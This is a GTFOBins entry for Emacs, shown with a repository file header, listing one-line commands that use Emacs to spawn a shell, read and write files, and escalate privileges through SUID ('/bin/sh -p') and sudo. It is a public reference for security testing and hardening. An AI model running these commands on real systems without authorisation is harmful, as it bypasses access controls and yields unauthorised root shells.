GTFOBins.github.io/_gtfobins/emacs.md
2018-07-04 19:26:52 +01:00

18 lines
343 B
Markdown

---
functions:
execute-interactive:
- code: emacs -Q -nw --eval '(term "/bin/sh")'
file-write:
- code: |
emacs file_to_write
C-x C-s
file-read:
- code: 'emacs file_to_read
'
suid-enabled:
- code: ./emacs -Q -nw --eval '(term "/bin/sh -p")'
sudo-enabled:
- code: sudo emacs -Q -nw --eval '(term "/bin/sh")'
---